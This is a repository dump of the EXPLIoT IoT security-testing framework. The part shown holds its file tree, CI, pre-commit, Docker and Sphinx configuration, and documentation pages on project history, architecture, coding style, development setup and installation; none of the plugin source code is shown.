├── .gitignore ├── .gitlab-ci.yml ├── .pre-commit-config.yaml ├── .readthedocs.yml ├── LICENSE.txt ├── MANIFEST.in ├── README.md ├── container └── Dockerfile ├── docs ├── Makefile ├── _static │ ├── arch-diagram.png │ └── expliot.png ├── _templates │ └── links.html ├── about.rst ├── conf.py ├── development │ ├── architecture.rst │ ├── development.rst │ ├── documentation.rst │ ├── intro.rst │ ├── new-plugin.rst │ └── setup.rst ├── index.rst ├── installation │ ├── container.rst │ ├── distributions.rst │ ├── intro.rst │ ├── manual-installation.rst │ └── pypi.rst ├── make.bat ├── requirements.txt ├── tests │ ├── bluetooth.rst │ ├── busauditor.rst │ ├── can.rst │ ├── coap.rst │ ├── crypto.rst │ ├── dicom.rst │ ├── i2c.rst │ ├── intro.rst │ ├── mdns.rst │ ├── modbus.rst │ ├── mqtt.rst │ ├── nmap.rst │ ├── spi.rst │ ├── tcp.rst │ ├── uart.rst │ ├── udp.rst │ ├── upnp.rst │ └── zbauditor.rst └── usage │ ├── command-line-mode.rst │ ├── interactive-mode.rst │ ├── intro.rst │ └── plugins.rst ├── expliot ├── __init__.py ├── constants.py ├── core │ ├── __init__.py │ ├── common │ │ ├── __init__.py │ │ ├── exceptions.py │ │ ├── fileutils.py │ │ ├── pcapdlt.py │ │ ├── pcaphelper.py │ │ └── timer.py │ ├── discovery │ │ └── __init__.py │ ├── interfaces │ │ ├── __init__.py │ │ ├── busauditor │ │ │ ├── __init__.py │ │ │ └── stm32f411.py │ │ ├── common_services.py │ │ ├── ftdi │ │ │ └── __init__.py │ │ └── zbauditor │ │ │ ├── __init__.py │ │ │ └── nrf52840.py │ ├── protocols │ │ ├── __init__.py │ │ ├── hardware │ │ │ ├── __init__.py │ │ │ ├── can │ │ │ │ └── __init__.py │ │ │ ├── i2c │ │ │ │ └── __init__.py │ │ │ ├── serial │ │ │ │ └── __init__.py │ │ │ └── spi │ │ │ │ └── __init__.py │ │ ├── internet │ │ │ ├── __init__.py │ │ │ ├── coap │ │ │ │ └── __init__.py │ │ │ ├── dicom │ │ │ │ └── __init__.py │ │ │ ├── mdns │ │ │ │ ├── __init__.py │ │ │ │ └── constants.py │ │ │ ├── modbus │ │ │ │ └── __init__.py │ │ │ ├── mqtt │ │ │ │ ├── __init__.py │ │ │ │ └── aws.py │ │ │ └── upnp │ │ │ │ └── __init__.py │ │ └── radio │ │ │ ├── __init__.py │ │ │ ├── ble │ │ │ └── __init__.py │ │ │ ├── dot154 │ │ │ ├── __init__.py │ │ │ └── dot154_utils.py │ │ │ └── zigbee │ │ │ ├── __init__.py │ │ │ └── zigbee_utils.py │ ├── tests │ │ ├── __init__.py │ │ ├── test.py │ │ └── testsuite.py │ ├── ui │ │ ├── __init__.py │ │ └── cli │ │ │ └── __init__.py │ └── vendors │ │ ├── __init__.py │ │ └── tplink │ │ ├── __init__.py │ │ └── crypto.py ├── expliot.py ├── plugins │ ├── __init__.py │ ├── ble │ │ ├── __init__.py │ │ ├── blecharfuzz.py │ │ ├── blecharread.py │ │ ├── blecharwrite.py │ │ ├── bleenum.py │ │ ├── blenotifyread.py │ │ ├── blescan.py │ │ └── tappunlock.py │ ├── busauditor │ │ ├── __init__.py │ │ ├── badevinfo.py │ │ ├── bai2cscan.py │ │ ├── bajtagscan.py │ │ ├── baswdscan.py │ │ └── bauartscan.py │ ├── can │ │ ├── __init__.py │ │ ├── canfuzz.py │ │ ├── canread.py │ │ └── canwrite.py │ ├── coap │ │ ├── __init__.py │ │ ├── coapdelete.py │ │ ├── coapget.py │ │ ├── coappost.py │ │ ├── coapput.py │ │ └── discover.py │ ├── crypto │ │ ├── __init__.py │ │ └── tpldecrypt.py │ ├── dicom │ │ ├── __init__.py │ │ ├── cecho.py │ │ ├── cfind.py │ │ └── cstore.py │ ├── i2c │ │ ├── __init__.py │ │ ├── i2ceepromread.py │ │ ├── i2ceepromwrite.py │ │ └── i2cscan.py │ ├── mdns │ │ ├── __init__.py │ │ └── discover.py │ ├── modbus │ │ ├── __init__.py │ │ ├── mbtcpread.py │ │ └── mbtcpwrite.py │ ├── mqtt │ │ ├── __init__.py │ │ ├── awsiotpub.py │ │ ├── awsiotsub.py │ │ ├── mqttauth.py │ │ ├── mqttpub.py │ │ └── mqttsub.py │ ├── nmap │ │ ├── __init__.py │ │ └── cmd.py │ ├── sample.py │ ├── serial │ │ ├── __init__.py │ │ ├── baudscan.py │ │ └── fuzzcommands.py │ ├── spi │ │ ├── __init__.py │ │ ├── spiflashread.py │ │ └── spiflashwrite.py │ ├── tcp │ │ ├── __init__.py │ │ └── tpltakeover.py │ ├── udp │ │ ├── __init__.py │ │ └── khijack.py │ ├── upnp │ │ ├── __init__.py │ │ └── discover.py │ └── zbauditor │ │ ├── __init__.py │ │ ├── zbadeviceinfo.py │ │ ├── zbanwkscan.py │ │ ├── zbareplay.py │ │ └── zbasniffer.py └── utils │ ├── __init__.py │ └── nmap.py ├── pylintrc ├── pyproject.toml ├── requirements-dev.txt ├── requirements.txt ├── setup.cfg └── setup.py /.gitignore: -------------------------------------------------------------------------------- 1 | # IDE files 2 | .idea/ 3 | 4 | # vscode files 5 | .vscode/ 6 | 7 | # Byte-compiled / optimized / DLL files 8 | __pycache__/ 9 | *.py[cod] 10 | *$py.class 11 | 12 | # C extensions 13 | *.so 14 | 15 | # Distribution / packaging 16 | .Python 17 | build/ 18 | develop-eggs/ 19 | dist/ 20 | downloads/ 21 | eggs/ 22 | .eggs/ 23 | lib/ 24 | lib64/ 25 | lib64 26 | parts/ 27 | sdist/ 28 | var/ 29 | wheels/ 30 | *.egg-info/ 31 | .installed.cfg 32 | *.egg 33 | MANIFEST 34 | 35 | # PyInstaller 36 | # Usually these files are written by a python script from a template 37 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 38 | *.manifest 39 | *.spec 40 | 41 | # Installer logs 42 | pip-log.txt 43 | pip-delete-this-directory.txt 44 | 45 | # Unit test / coverage reports 46 | htmlcov/ 47 | .tox/ 48 | .coverage 49 | .coverage.* 50 | .cache 51 | nosetests.xml 52 | coverage.xml 53 | *.cover 54 | .hypothesis/ 55 | .pytest_cache/ 56 | 57 | # Translations 58 | *.mo 59 | *.pot 60 | 61 | # Django stuff: 62 | *.log 63 | local_settings.py 64 | db.sqlite3 65 | 66 | # Flask stuff: 67 | instance/ 68 | .webassets-cache 69 | 70 | # Scrapy stuff: 71 | .scrapy 72 | 73 | # Sphinx documentation 74 | docs/_build/ 75 | 76 | # PyBuilder 77 | target/ 78 | 79 | # Jupyter Notebook 80 | .ipynb_checkpoints 81 | 82 | # pyenv 83 | .python-version 84 | 85 | # celery beat schedule file 86 | celerybeat-schedule 87 | 88 | # SageMath parsed files 89 | *.sage.py 90 | 91 | # Environments 92 | .env 93 | .venv 94 | env/ 95 | venv/ 96 | ENV/ 97 | env.bak/ 98 | venv.bak/ 99 | #pyvenv 100 | pyvenv.cfg 101 | share/ 102 | bin/ 103 | 104 | # Spyder project settings 105 | .spyderproject 106 | .spyproject 107 | 108 | # Rope project settings 109 | .ropeproject 110 | 111 | # mkdocs documentation 112 | /site 113 | 114 | # mypy 115 | .mypy_cache/ 116 | -------------------------------------------------------------------------------- /.gitlab-ci.yml: -------------------------------------------------------------------------------- 1 | stages: 2 | - static_analysis 3 | - tests 4 | - installation 5 | - distribution 6 | - post 7 | 8 | flake8: 9 | stage: static_analysis 10 | image: python:3.9 11 | script: 12 | - pip install flake8 --quiet 13 | - flake8 --max-line-length=80 expliot 14 | 15 | pylint: 16 | stage: static_analysis 17 | image: python:3.9 18 | script: 19 | - pip install pylint --quiet 20 | - pip install -r requirements.txt 21 | - pylint expliot 22 | 23 | ubuntu2004: 24 | stage: installation 25 | only: 26 | - master 27 | image: ubuntu:20.04 28 | script: 29 | - DEBIAN_FRONTEND=noninteractive apt-get update 30 | - DEBIAN_FRONTEND=noninteractive apt-get install -y libglib2.0-dev libusb-1.0 git python3-dev python3-setuptools build-essential 31 | - git clone --single-branch --branch master https://gitlab.com/expliot_framework/expliot.git expliot-master 32 | - cd expliot-master 33 | - python3 setup.py install 34 | 35 | ubuntu_latest: 36 | stage: installation 37 | only: 38 | - master 39 | image: ubuntu:latest 40 | script: 41 | - DEBIAN_FRONTEND=noninteractive apt-get update 42 | - DEBIAN_FRONTEND=noninteractive apt-get install -y libglib2.0-dev libusb-1.0 git python3-dev python3-setuptools build-essential 43 | - git clone --single-branch --branch master https://gitlab.com/expliot_framework/expliot.git expliot-master 44 | - cd expliot-master 45 | - python3 setup.py install 46 | 47 | #debian_latest: 48 | # stage: installation 49 | # only: 50 | # - master 51 | # image: debian:latest 52 | # script: 53 | # - echo -e 'deb http://deb.debian.org/debian stretch main\ndeb-src http://deb.debian.org/debian stretch-updates main\ndeb-src http://security.debian.org stretch/updates main' >> /etc/apt/sources.list 54 | # - apt-get update 55 | # - apt-get install -y libglib2.0-dev libusb-1.0 git python3-dev python3-setuptools build-essential 56 | # - git clone --single-branch --branch master https://gitlab.com/expliot_framework/expliot.git expliot-master 57 | # - cd expliot-master 58 | # - python3 setup.py install 59 | 60 | debian_sid: 61 | stage: installation 62 | only: 63 | - master 64 | image: debian:sid 65 | script: 66 | - echo -e 'deb http://deb.debian.org/debian unstable main\ndeb-src http://deb.debian.org/debian/ unstable main' >> /etc/apt/sources.list 67 | - apt-get update 68 | - apt-get install -y libglib2.0-dev libusb-1.0 git python3-dev python3-setuptools build-essential 69 | - git clone --single-branch --branch master https://gitlab.com/expliot_framework/expliot.git expliot-master 70 | - cd expliot-master 71 | - python3 setup.py install 72 | 73 | fedora_latest: 74 | stage: installation 75 | only: 76 | - master 77 | image: fedora:latest 78 | script: 79 | - dnf -y install redhat-rpm-config libusb glib2-devel python3-devel python3-setuptools git @development-tools 80 | - git clone --single-branch --branch master https://gitlab.com/expliot_framework/expliot.git expliot-master 81 | - cd expliot-master 82 | - python3 setup.py install 83 | 84 | fedora_rawhide: 85 | stage: installation 86 | only: 87 | - master 88 | image: fedora:rawhide 89 | script: 90 | - dnf -y install redhat-rpm-config libusb glib2-devel python3-devel python3-setuptools git @development-tools 91 | - git clone --single-branch --branch master https://gitlab.com/expliot_framework/expliot.git expliot-master 92 | - cd expliot-master 93 | - python3 setup.py install 94 | 95 | sdist: 96 | stage: distribution 97 | image: python:3.9 98 | only: 99 | - master 100 | script: 101 | - python setup.py sdist 102 | artifacts: 103 | paths: 104 | - dist/ 105 | expire_in: 1 week 106 | 107 | wheel: 108 | image: python:3.9 109 | stage: distribution 110 | only: 111 | - master 112 | script: 113 | - python setup.py bdist_wheel 114 | artifacts: 115 | paths: 116 | - dist/ 117 | expire_in: 1 week 118 | 119 | # This requires TWINE_USERNAME and TWINE_PASSWORD to be set 120 | # Settings -> CI/CD -> Variables 121 | pypi: 122 | image: python:3.9 123 | stage: post 124 | cache: {} 125 | script: 126 | - pip install -U twine 127 | - python setup.py sdist 128 | - twine upload dist/* 129 | only: 130 | - tags 131 | -------------------------------------------------------------------------------- /.pre-commit-config.yaml: -------------------------------------------------------------------------------- 1 | # Those are the pre-commit hooks which are enforced 2 | repos: 3 | - repo: https://github.com/psf/black 4 | rev: stable 5 | hooks: 6 | - id: black 7 | language_version: python3.8 8 | - repo: https://github.com/Lucas-C/pre-commit-hooks-bandit 9 | rev: v1.0.4 10 | hooks: 11 | - id: python-bandit-vulnerability-check 12 | args: [-l, --recursive, -x, tests] 13 | files: .py$ 14 | - repo: https://github.com/pre-commit/pre-commit-hooks 15 | rev: v3.2.0 16 | hooks: 17 | - id: trailing-whitespace 18 | - id: end-of-file-fixer 19 | - repo: https://gitlab.com/pycqa/flake8 20 | rev: 3.7.8 21 | hooks: 22 | - id: flake8 23 | additional_dependencies: 24 | - flake8-docstrings==1.3.1 25 | - pydocstyle==4.0.0 26 | -------------------------------------------------------------------------------- /.readthedocs.yml: -------------------------------------------------------------------------------- 1 | # .readthedocs.yml 2 | # Read the Docs configuration file 3 | # See https://docs.readthedocs.io/en/stable/config-file/v2.html for details 4 | 5 | # Required 6 | version: 2 7 | 8 | # Build documentation in the docs/ directory with Sphinx 9 | sphinx: 10 | configuration: docs/conf.py 11 | 12 | # Optionally build your docs in additional formats such as PDF and ePub 13 | formats: all 14 | 15 | # Optionally set the version of Python and requirements required to build your docs 16 | python: 17 | version: 3.7 18 | install: 19 | - requirements: docs/requirements.txt 20 | -------------------------------------------------------------------------------- /MANIFEST.in: -------------------------------------------------------------------------------- 1 | recursive-include *.py 2 | include setup.cfg 3 | include LICENSE.txt README.md 4 | include docs/ 5 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # EXPLIoT 2 | 3 | Noun: /ɛkˈsplʌɪəti:/ 4 | 5 | A Framework for security testing and exploiting IoT products and IoT 6 | infrastructure. It provides a set of plugins (test cases) which are used to 7 | perform the assessment and can be extended easily with new ones. 8 | 9 | The name **EXPLIoT** (pronounced *expl-aa-yo-tee*) is a pun on the word 10 | *exploit* and explains the purpose of the framework i.e. IoT exploitation. 11 | 12 | It is written in Python. 13 | 14 | - [Website](https://expliot.io) 15 | - [Online shop](https://expliot.io/collections/frontpage) (for related hardware) 16 | - [Documentation](https://expliot.readthedocs.io/) 17 | - [Discord chat rooms](https://discord.gg/AafG232) 18 | 19 | ## Additional resources 20 | 21 | - [Issues and bug reports](https://gitlab.com/expliot_framework/expliot/issues/new?issue%5Bassignee_id%5D=&issue%5Bmilestone_id%5D=) 22 | - [Source repository](https://gitlab.com/expliot_framework/expliot) 23 | -------------------------------------------------------------------------------- /container/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.8.8-alpine3.13 2 | LABEL maintainer="Fabian Affolter " 3 | LABEL version="0.9.8" 4 | LABEL description="Expliot - Internet Of Things Security Testing and \ 5 | Exploitation Framework" 6 | 7 | ENV LANG C.UTF-8 8 | 9 | RUN apk add --no-cache \ 10 | make \ 11 | python3 \ 12 | git \ 13 | glib-dev \ 14 | gcc \ 15 | libstdc++ \ 16 | g++ \ 17 | python3-dev 18 | 19 | RUN mkdir -p /usr/src/app 20 | 21 | WORKDIR /usr/src/app 22 | 23 | ADD . /usr/src/app 24 | 25 | RUN python3 setup.py install 26 | 27 | ENTRYPOINT expliot 28 | -------------------------------------------------------------------------------- /docs/Makefile: -------------------------------------------------------------------------------- 1 | # Minimal makefile for Sphinx documentation 2 | # 3 | 4 | # You can set these variables from the command line, and also 5 | # from the environment for the first two. 6 | SPHINXOPTS ?= 7 | SPHINXBUILD ?= sphinx-build 8 | SOURCEDIR = . 9 | BUILDDIR = _build 10 | 11 | # Put it first so that "make" without argument is like "make help". 12 | help: 13 | @$(SPHINXBUILD) -M help "$(SOURCEDIR)" "$(BUILDDIR)" $(SPHINXOPTS) $(O) 14 | 15 | .PHONY: help Makefile 16 | 17 | # Catch-all target: route all unknown targets to Sphinx using the new 18 | # "make mode" option. $(O) is meant as a shortcut for $(SPHINXOPTS). 19 | %: Makefile 20 | @$(SPHINXBUILD) -M $@ "$(SOURCEDIR)" "$(BUILDDIR)" $(SPHINXOPTS) $(O) 21 | -------------------------------------------------------------------------------- /docs/_static/arch-diagram.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/expliot-framework/expliot/b068aaa79b7e51b6819d218d1de612ab2d1f6211/docs/_static/arch-diagram.png -------------------------------------------------------------------------------- /docs/_static/expliot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/expliot-framework/expliot/b068aaa79b7e51b6819d218d1de612ab2d1f6211/docs/_static/expliot.png -------------------------------------------------------------------------------- /docs/_templates/links.html: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /docs/about.rst: -------------------------------------------------------------------------------- 1 | About 2 | ===== 3 | 4 | History 5 | ------- 6 | 7 | I started dreaming about an IoT vulnerability scanner way back in 2014. My 8 | idea was to automate the painful parts of an IoT penetration test. I figured 9 | that in our pen-tests, we were wasting a lot of time in setting up the test 10 | case environment and trying out different tools for specific purposes. Some 11 | tools were new, some were incomplete, buggy, some were proprietary with the 12 | hardware. After a while, we ended up writing our own scripts. Also, the nature 13 | of the IoT pentest projects is such that no two projects will be the same, 14 | today you might be pentesting a fleet management device and tomorrow you 15 | will get to test a smart vacuum cleaner or a gas sensor or something else, 16 | all of which have completely different use cases and physical interfaces 17 | i.e. attack surface. So, I started conceptualizing and implementing a 18 | framework that can encompass different functionality for an IoT pentest. 19 | I chose Ruby as a language for implementing it as it is quite flexible. 20 | During the development, I realized that there was not much support for 21 | hardware and radio interfacing in Ruby. The first version was written in Ruby 22 | and after a lot of thought and stress I decided to rewrite it in Python. The 23 | current version is obviously in Python 3. 24 | 25 | License 26 | ------- 27 | 28 | EXPLIoT Framework is under the GNU AGPLv3 license. 29 | 30 | Author 31 | ------ 32 | 33 | EXPLIoT Framework is conceptualized, designed and implemented by 34 | `Aseem Jakhar `_. 35 | 36 | Contributors 37 | ------------ 38 | 39 | * `Arun Magesh `_ 40 | * `Fabian Affolter `_ 41 | * `Sneha Rajguru `_ 42 | * `Appar Thusoo `_ 43 | * `Dattatray Hinge `_ 44 | 45 | Thank you 46 | --------- 47 | 48 | * Computer pirates HDS 49 | * `null - The open security community `_ 50 | * `Abhisek Datta `_ 51 | * `Javier Vazquez Vidal `_ 52 | * `Milosch Meriac `_ 53 | * `Payatu Bandits `_ 54 | * `Hardwear.io Conference `_ 55 | * `nullcon Conference `_ 56 | -------------------------------------------------------------------------------- /docs/conf.py: -------------------------------------------------------------------------------- 1 | # Configuration file for the Sphinx documentation builder. 2 | # 3 | # This file only contains a selection of the most common options. For a full 4 | # list see the documentation: 5 | # http://www.sphinx-doc.org/en/master/config 6 | 7 | # -- Path setup -------------------------------------------------------------- 8 | 9 | # If extensions (or modules to document with autodoc) are in another directory, 10 | # add these directories to sys.path here. If the directory is relative to the 11 | # documentation root, use os.path.abspath to make it absolute, like shown here. 12 | # 13 | # import os 14 | # import sys 15 | # sys.path.insert(0, os.path.abspath('.')) 16 | 17 | 18 | # -- Project information ----------------------------------------------------- 19 | 20 | project = 'EXPLIoT' 21 | copyright = '2019-2020, The EXPLIoT developers' 22 | author = 'The EXPLIoT developers' 23 | 24 | # The full version, including alpha/beta/rc tags 25 | release = '0.9.0' 26 | 27 | master_doc = 'index' 28 | source_suffix = ['.rst', '.md'] 29 | 30 | # -- General configuration --------------------------------------------------- 31 | 32 | # Add any Sphinx extension module names here, as strings. They can be 33 | # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom 34 | # ones. 35 | extensions = [] 36 | 37 | # AutoAPI 38 | extensions.append('autoapi.extension') 39 | 40 | autoapi_type = 'python' 41 | autoapi_dirs = ['../expliot'] 42 | autoapi_root = 'api' 43 | 44 | # Add any paths that contain templates here, relative to this directory. 45 | templates_path = ['_templates'] 46 | 47 | # List of patterns, relative to source directory, that match files and 48 | # directories to ignore when looking for source files. 49 | # This pattern also affects html_static_path and html_extra_path. 50 | exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store'] 51 | 52 | 53 | # -- Options for HTML output ------------------------------------------------- 54 | 55 | # The theme to use for HTML and HTML Help pages. See the documentation for 56 | # a list of builtin themes. 57 | # 58 | html_theme = 'alabaster' 59 | 60 | html_theme_options = { 61 | 'logo': 'expliot.png', 62 | 'github_user': '', 63 | 'github_repo': '', 64 | 'show_powered_by': False, 65 | 'description': 'IoT Security Testing and Exploitation framework', 66 | } 67 | 68 | html_context = { 69 | "display_gitlab": True, 70 | "gitlab_user": "MyUserName", 71 | "gitlab_repo": "MyDoc", 72 | "gitlab_version": "master", 73 | "conf_py_path": "/source/", 74 | } 75 | 76 | html_sidebars = { 77 | '**': [ 78 | 'about.html', 79 | 'navigation.html', 80 | 'relations.html', 81 | 'searchbox.html', 82 | 'links.html', 83 | ] 84 | } 85 | 86 | # Add any paths that contain custom static files (such as style sheets) here, 87 | # relative to this directory. They are copied after the builtin static files, 88 | # so a file named "default.css" will overwrite the builtin "default.css". 89 | html_static_path = ['_static'] 90 | 91 | # # Section for additional support for Markdown 92 | # 93 | # from recommonmark.transform import AutoStructify 94 | # 95 | # doc_root = 'https://expliot.rtfd.io/' 96 | # 97 | # 98 | # def setup(app): 99 | # """Allow the usage of directives.""" 100 | # app.add_config_value('recommonmark_config', { 101 | # 'url_resolver': lambda url: doc_root + url, 102 | # 'auto_toc_tree_section': 'Contents', 103 | # }, True) 104 | # app.add_transform(AutoStructify) 105 | -------------------------------------------------------------------------------- /docs/development/architecture.rst: -------------------------------------------------------------------------------- 1 | Architecture 2 | ============ 3 | 4 | The architecture, as of now, is kept very simple. I assume as we include new 5 | functionality it may become slightly complex. I would like to think it is 6 | sufficiently object-oriented and component based. The below diagram explains 7 | the major components of the framework which are explained in detail component 8 | wise. Some design considerations are: 9 | 10 | #. There should be no external dependency for a plugin except for core Python 11 | functionality which comes with the standard installation. 12 | #. All the protocol, interface, etc. implementation must reside within the 13 | framework and is utilized by the plugins. 14 | 15 | .. image:: ../_static/arch-diagram.png 16 | :align: center 17 | :height: 150px 18 | :alt: Architecture diagram 19 | 20 | Design goals 21 | ------------ 22 | 23 | There are three major design goals for the framework: 24 | 25 | #. It should be simple to use. 26 | #. It should be extendable. 27 | #. It should be easy to write new plugins (test cases). 28 | 29 | Unified interface 30 | ----------------- 31 | 32 | A unified interface for the plugins was created so they can utilize 33 | everything from within the framework. The benefits are: 34 | 35 | #. No external dependency 36 | #. Internal implementation may change at any time, but the framework wrapper 37 | classes and methods defined in the framework will remain same so plugins 38 | will not require any code changes. 39 | 40 | This is only true for external package. Anything that is part of the 41 | `Python standard library `_ 42 | can be used freely i.e. imported and used directly by the plugins. -------------------------------------------------------------------------------- /docs/development/documentation.rst: -------------------------------------------------------------------------------- 1 | Documentation 2 | ============= 3 | 4 | The documentation is written in `reStructuredText `_ 5 | and rendered by `Sphinx `_. 6 | 7 | The source file for are located in the ``docs`` directory and published 8 | automatically then changes are pushed to the ``master`` branch or a merge 9 | commit is included. 10 | 11 | Every page contains on the top right a link called "Edit on GitLab" which 12 | allows editing of the page without further setup. 13 | 14 | To get started, check the `reStructuredText basics `_. 15 | 16 | Setup 17 | ----- 18 | 19 | To create the documentation locally or if you are planing to add the 20 | documentation of your new plugin then you need to install the generator that 21 | is rendering the documentation. 22 | 23 | .. code-block:: console 24 | 25 | $ pip3 install -r docs/requirements.txt 26 | 27 | Review the changes locally 28 | -------------------------- 29 | 30 | Use ``make html`` in the ``docs`` directory to render the documentation. The 31 | output will be available in ``_build/html``. 32 | 33 | For large changes it could be useful to live-reloading documentation. 34 | Install the ``sphinx-reload`` Python module: 35 | 36 | .. code-block:: console 37 | 38 | $ pip3 install sphinx-reload 39 | $ sphinx-reload docs/ 40 | 41 | The rendered content is then available at `http://localhost:5500/ `_. 42 | 43 | Create a PDF file 44 | ----------------- 45 | 46 | It might be possible to create a PDF file but this is not supported. 47 | 48 | .. code-block:: console 49 | 50 | $ make latexpdf 51 | 52 | Commit your work 53 | ---------------- 54 | 55 | Working on the documentation is no different than to contribute code. If you 56 | are done with your work then submit a merge request. 57 | -------------------------------------------------------------------------------- /docs/development/intro.rst: -------------------------------------------------------------------------------- 1 | Developer Guide 2 | =============== 3 | 4 | EXPLIoT Framework is a brilliant choice for vendors, smart infrastructure 5 | admins, developers and security researchers for various reasons: 6 | 7 | - It will streamline your security/regression testing. 8 | - You will be able to identify security loopholes prior to deployment on an 9 | IoT solution in your infrastructure. 10 | - It will help you in automating time consuming test cases. 11 | - If you fall under any compliance or regulatory requirements for the IoT 12 | product or Smart Infrastructure, it will help you in automating and 13 | performing compliance checks regularly. 14 | - It will save a lot of time during IoT security research or assessments. 15 | - You can mold it to your needs by simply extending it with your own plugins. 16 | 17 | If you are interested in extending the framework i.e. writing new plugins, 18 | follow on. 19 | 20 | Coding style 21 | ------------ 22 | 23 | Please follow the below coding style, when writing new code, if you are used 24 | to some other style. 25 | 26 | We use `Black `_ for code formatting. Every 27 | merge request is automatically checked as part of the linting process and we 28 | never merge submissions that diverge. We recommend to run ``black``, ``pylint`` 29 | and ``flake8`` locally before creating a merge request. 30 | 31 | #. The code **must** follow `PEP8 (Style Guide for Python Code) `_. 32 | #. Class names should be short, simple and define the purpose. It **must** 33 | be in `CamelCase `_. 34 | #. Import should be grouped and ordered, use ``isort``. 35 | #. The method names **must not** use *CamelCase*. 36 | It may use underscores ("\_") for a name with more than one word. 37 | #. Class member names should follow the same convention as method names. 38 | #. Every module, function, class or method definition **must** have at least a 39 | `Docstring `_. 40 | 41 | It's preferred to have additional details for the API documentation. 42 | 43 | .. code-block:: console 44 | 45 | """ Method description. 46 | 47 | Args: 48 | param1 (type): param1 description 49 | param2 (type): param2 description 50 | 51 | Returns: (or Yields: for generators) 52 | type: Description of return value 53 | 54 | Raises: 55 | type: Description/reason of the exception 56 | """ 57 | 58 | Please refer to the `Google Python Style Guide `_ 59 | for further information or if you are unsure about a specific topic. 60 | 61 | Contribute 62 | ---------- 63 | 64 | If you are interested in contributing to the project. Please follow these 65 | steps: 66 | 67 | #. You must have an idea or a bug fix. 68 | #. If this is your first time contributing to EXPLIoT, then please DO NOT 69 | submit a pull/merge request first thing. Instead please open an 70 | `issue `_ 71 | describing your code changes. 72 | #. Setup your development environment, see :ref:`development-setup`. 73 | #. You will need to sign a contributor license agreement. Please sign, scan 74 | and email the same. 75 | #. Create the merge request following the mentioned points in the previous 76 | section. 77 | 78 | Additional details 79 | ------------------ 80 | 81 | .. toctree:: 82 | :maxdepth: 1 83 | :glob: 84 | 85 | ** 86 | -------------------------------------------------------------------------------- /docs/development/setup.rst: -------------------------------------------------------------------------------- 1 | .. _development-setup: 2 | 3 | Setup the development environment 4 | ================================= 5 | 6 | If you are considering to contribute to EXPLIoT then it's recommended to use 7 | a Python virtual environment (``venv``). 8 | 9 | Please check :ref:`installation-manual` for the pre-requirements. 10 | 11 | .. code-block:: console 12 | 13 | $ git clone https://gitlab.com/[YOUR_FORK]/expliot.git 14 | $ cd expliot 15 | $ python3 -m venv . 16 | $ source bin/activate 17 | $ python3 setup.py develop 18 | 19 | After the basic setup it's required that you enable the pre-commit hooks for 20 | git. Those are doing some checks and point out lint issues. 21 | 22 | .. code-block:: console 23 | 24 | $ pip3 install -r requirements-dev.txt 25 | $ pre-commit install 26 | 27 | To create a new feature, create a new branch in your fork. 28 | 29 | .. code-block:: console 30 | 31 | $ git checkout -b new_feature master 32 | 33 | 34 | When you are done, commit your changes and open a merge request. 35 | -------------------------------------------------------------------------------- /docs/index.rst: -------------------------------------------------------------------------------- 1 | Welcome to EXPLIoT's documentation! 2 | =================================== 3 | 4 | Noun: /ɛkˈsplʌɪəti:/ 5 | 6 | **EXPLIoT** is a Framework for security testing and exploiting IoT products and 7 | IoT infrastructure. It provides a set of plugins (test cases) which are used to 8 | perform the assessment and can be extended easily with new ones. The name 9 | **EXPLIoT** (pronounced *expl-aa-yo-tee*) is a pun on the word **exploit** 10 | and explains the purpose of the framework i.e. IoT exploitation. 11 | 12 | It is written in Python. 13 | 14 | Resources 15 | --------- 16 | 17 | - Website: `https://expliot.io `_ 18 | - Source repository: `https://gitlab.com/expliot_framework/expliot `_ 19 | - Twitter: `@expliot_io `_ 20 | 21 | Community 22 | --------- 23 | 24 | There are Discord chat rooms available if you need help or a like. Please 25 | follow this `link `_. 26 | 27 | Table of Contents 28 | ----------------- 29 | 30 | .. toctree:: 31 | :maxdepth: 1 32 | 33 | installation/intro 34 | usage/intro 35 | tests/intro 36 | development/intro 37 | about 38 | -------------------------------------------------------------------------------- /docs/installation/container.rst: -------------------------------------------------------------------------------- 1 | Container 2 | ========= 3 | 4 | .. warning:: 5 | 6 | This is an ALPHA feature and not testing. 7 | 8 | Running in a container allows one to test ``expliot`` without installation of 9 | all dependencies locally. You have to build the image by yourself but it's 10 | as fast as downloading it from a registry. 11 | 12 | Requirement 13 | ----------- 14 | 15 | Check that the ``docker` daemon is running or ``podman`` is present. 16 | 17 | .. code-block:: console 18 | 19 | $ sudo systemctl start docker 20 | 21 | ``podman`` doesn't has a daemon. It's enough if the binary is installed. 22 | 23 | Build process 24 | ------------- 25 | 26 | Make sure that your are in the root of your ``expliot`` folder. Start the 27 | build process for the images. 28 | 29 | .. code-block:: console 30 | 31 | $ sudo docker build -t expliot -f container/Dockerfile . 32 | 33 | Or with ``podman``: 34 | 35 | .. code-block:: console 36 | 37 | $ podman build -t expliot -f container/Dockerfile . 38 | 39 | Consider to use ``--no-cache`` if you are teeaking the settings for your needs. 40 | 41 | Usage 42 | ----- 43 | 44 | Run it with ``docker``: 45 | 46 | .. code-block:: console 47 | 48 | $ sudo docker run -it expliot 49 | 50 | Or with ``podman``: 51 | 52 | .. code-block:: console 53 | 54 | $ podman run -it expliot 55 | 56 | If the container is started up you will get the prompt ``ef>``. 57 | 58 | .. note:: 59 | 60 | Keep in mind that there are some limitation when it comes to interacting 61 | with physical hardware from within a container. Thus, at the moment this 62 | topic is considered for advanced users only. 63 | 64 | -------------------------------------------------------------------------------- /docs/installation/distributions.rst: -------------------------------------------------------------------------------- 1 | Distributions 2 | ============= 3 | 4 | **EXPLIoT** might be available for your favorite Linux distribution as 5 | package. By using this installation method you don't need to take care 6 | about pre-requirements and system's dependencies. 7 | 8 | The downside is that you not always will get the latest release. 9 | 10 | Fedora 11 | ------ 12 | 13 | The `Fedora Package Collection `_ 14 | contains **EXPLIoT**. 15 | 16 | .. code-block:: console 17 | 18 | $ sudo dnf -y install expliot 19 | 20 | It's also part of the `Fedora Security Lab `_. 21 | 22 | Nix/NixOS 23 | --------- 24 | 25 | The `NixOS package set `_ 26 | contains the **EXPLIoT** release usually in the ``unstable`` channel. 27 | 28 | .. code-block:: console 29 | 30 | $ nix-env -iA nixos.expliot 31 | 